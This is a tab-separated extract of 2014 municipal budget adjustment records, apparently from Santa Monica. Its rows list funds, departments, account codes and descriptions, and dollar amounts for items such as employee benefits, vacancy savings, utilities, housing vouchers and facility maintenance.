8861	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2014	1100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1100.0
8862	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8863	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-16014.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16014.0
8864	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-31075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-31075.0
8865	BA	IS	1	General Fund	310	FIRE	315	TRAINING		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-2290.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2290.0
8866	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-2474.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2474.0
8867	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-359.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-359.0
8868	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1718.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1718.0
8869	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2014	-35533.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35533.0
8870	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4925.0
8871	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4246.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4246.0
8872	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577723.0	CDBG - OTHER PROGRAMS		 Supplies and Expenses	2014	300000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	300000.0
8873	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2014	-31130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-31130.0
8874	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2014	-54358.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-54358.0
8875	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2014	-22332.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22332.0
8876	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2014	-43669.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-43669.0
8877	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556170.0	SOLD FLOWERS	808.0	 Supplies and Expenses	2014	11000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11000.0
8878	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	4638.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4638.0
8879	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
8880	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2014	3466.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3466.0
8881	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	1600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1600.0
8882	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1104383.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1104383.0
8883	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	20819.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20819.0
8884	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2014	5299.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5299.0
8885	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
8886	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	2287.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2287.0
8887	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	2533.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2533.0
8888	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2014	-1526948.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1526948.0
8889	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
8890	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	379.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	379.0
8891	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
8892	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2014	13133.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13133.0
8893	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	185819.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	185819.0
8894	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	7000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7000.0
8895	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	21500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21500.0
8896	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2014	6500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6500.0
8897	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
8898	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130.0
8899	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	3438.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3438.0
8900	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	38005.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38005.0
8901	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	7682.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7682.0
8902	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571120.0	S+C HAP TRA	816.0	 Supplies and Expenses	2014	1526948.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1526948.0
8903	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8904	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-14463.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14463.0
8905	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8906	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-188534.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-188534.0
8907	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-54419.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-54419.0
8908	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-92188.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-92188.0
8909	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2014	-19454.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-19454.0
8910	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2014	-9408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9408.0
8911	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8912	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8913	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511017.0	PERMANENT EMPLOY SWORN POLICE	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8914	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	10846.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10846.0
8915	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511749.0	VISION	804.0	Salaries and Wages	2014	955.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	955.0
8916	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DCAP	804.0	Salaries and Wages	2014	480.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	480.0
8917	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	578990.0	WELLNESS PROGRAM	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
8918	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	29433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29433.0
8919	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511749.0	VISION	816.0	Salaries and Wages	2014	2336.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2336.0
8920	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-10100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10100.0
8921	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	5493.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5493.0
8922	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2014	990.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	990.0
8923	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	533090.0	PROJECT MAINTENANCE	808.0	 Supplies and Expenses	2014	120000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	120000.0
8924	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2014	-12023259.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-12023259.0
8925	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561420.0	OPCC SAFE HAVEN		 Supplies and Expenses	2014	122002.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	122002.0
8926	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562162.0	JEWISH VOCATIONAL SERVICE		 Supplies and Expenses	2014	52260.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52260.0
8927	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577724.0	ST JOE HPSHP-CDBG	810.0	 Supplies and Expenses	2014	70377.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70377.0
8928	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562434.0	SHP-OPCC	810.0	 Supplies and Expenses	2014	112958.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	112958.0
8929	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405690.0	SALE OF ADVERTISING PANELS	662.0	Other	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
8930	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DCAP		Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
8931	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	569290.0	FIRE TRUCK MAINTENANCE REIMB	806.0	 Supplies and Expenses	2014	432093.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	432093.0
8932	BA	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404010.0	PROP 84-16TH ST WATERSHED	610.0	Intergovernmental	2014	-1013085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1013085.0
8933	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544470.0	GROUNDS MAINT EQ & SUPPLIES	808.0	 Supplies and Expenses	2014	7000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7000.0
8934	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	3242.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3242.0
8935	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	11628.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11628.0
8936	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	517500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	517500.0
8937	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	5883.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5883.0
8938	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1914.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1914.0
8939	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408320.0	LANDSCAPE & IRRIG PLAN CHECK R	612.0	Charges for Service	2014	-40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40000.0
8940	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408330.0	LANDSCAPE & IRRIG ON-SITE INSP	612.0	Charges for Service	2014	-22000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22000.0
8941	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408340.0	URBAN RUNOFF MIT. INSP. ONSITE	612.0	Charges for Service	2014	-12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-12000.0
8942	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555067.0	LANDFILL GAS CONTROL SYST.	804.0	 Supplies and Expenses	2014	165658.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	165658.0
8943	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY YARD	808.0	 Supplies and Expenses	2014	61500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61500.0
8944	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-STREET LIGHTS	808.0	 Supplies and Expenses	2014	1060700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1060700.0
8945	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	814115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	814115.0
8946	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2014	3280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3280.0
8947	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	23400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23400.0
8948	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	1900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1900.0
8949	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	1230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1230.0
8950	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2014	4320.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4320.0
8951	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	1250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1250.0
8952	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522135.0	UTILITIES - WATER - PSF	808.0	 Supplies and Expenses	2014	48928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48928.0
8953	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533219.0	BLDG OPER/SUPPLIES-COM FAC	808.0	 Supplies and Expenses	2014	155400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	155400.0
8954	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG OPER/SUPPLIES-CITY HALL	808.0	 Supplies and Expenses	2014	41180.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41180.0
8955	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-CITY TV	808.0	 Supplies and Expenses	2014	9409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9409.0
8956	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
8957	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555951.0	FAC MAINT-KEC	808.0	 Supplies and Expenses	2014	-17000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-17000.0
8958	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	3100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3100.0
8959	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533226.0	BLDG/STR MAINT-LIBRARY	808.0	 Supplies and Expenses	2014	180000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	180000.0
8960	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-2080.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2080.0
8961	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	72913.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72913.0
8962	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	15953.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15953.0
8963	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	194672.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	194672.0
8964	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	973.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	973.0
8965	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1344.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1344.0
8966	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	975.0
8967	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	309734.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	309734.0
8968	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	69990.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	69990.0
8969	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	6952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6952.0
8970	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	3874.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3874.0
8971	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	2789.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2789.0
8972	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	769901.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	769901.0
8973	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	530432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	530432.0
8974	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	2940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2940.0
8975	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402460.0	TENANT UTILITIES PAYMENT	650.0	Charges for Service	2014	-147492.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-147492.0
8976	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2014	-146334.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-146334.0
8977	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	809.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	809.0
8978	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	3479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3479.0
8979	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	10900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10900.0
8980	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544015.0	FIELD EQUIP & TOOLS	808.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
8981	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544012.0	MEMBRANE REPLACEMENT	808.0	 Supplies and Expenses	2014	271940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	271940.0
